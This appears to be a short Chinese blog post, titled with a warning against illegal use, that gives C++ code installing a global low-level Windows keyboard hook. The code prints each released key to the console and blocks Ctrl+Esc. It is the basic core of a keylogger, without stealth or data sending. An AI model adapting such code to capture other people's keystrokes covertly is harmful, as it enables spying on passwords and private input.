键盘钩子（切勿用作非法用途）

古城微笑少年丶 2021-10-23 12:18 215阅读 0赞

// keyboardhook.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include<iostream>
    #include<windows.h>
    using namespace std;
    
    HHOOK g_Hook;
    LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
    {
    	KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
    	BOOL bControlKeyDown = 0;
    	
        switch (nCode)
    	{
    	case HC_ACTION:
    		{
    			// Check to see if the CTRL key is pressed
    			bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
    			//Check   to see if the  Cap  is   pressed
    			BOOL bCap = GetAsyncKeyState(VK_CAPITAL) >> ((sizeof(SHORT) * 8) - 1);
    			//Disable CTRL+ESC
    			if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown)
    				return 1;
    			if(wParam == WM_KEYUP)
    				printf("%c", pkbhs->vkCode);
    
    			break;
    		}
    	}
    	//Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
    	return CallNextHookEx(g_Hook, nCode, wParam, lParam); //回调
    	//return 1;
    }
    
    
    int _tmain(int argc, _TCHAR* argv[])
    {
    	MSG msg;
    	//Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
    	g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL,
    		(HOOKPROC)LowLevelKeyboardProc, GetModuleHandleW(0),0); 
    	while(GetMessageW(&msg,0,0,0))DispatchMessageW(&msg);
    	return 0;
    }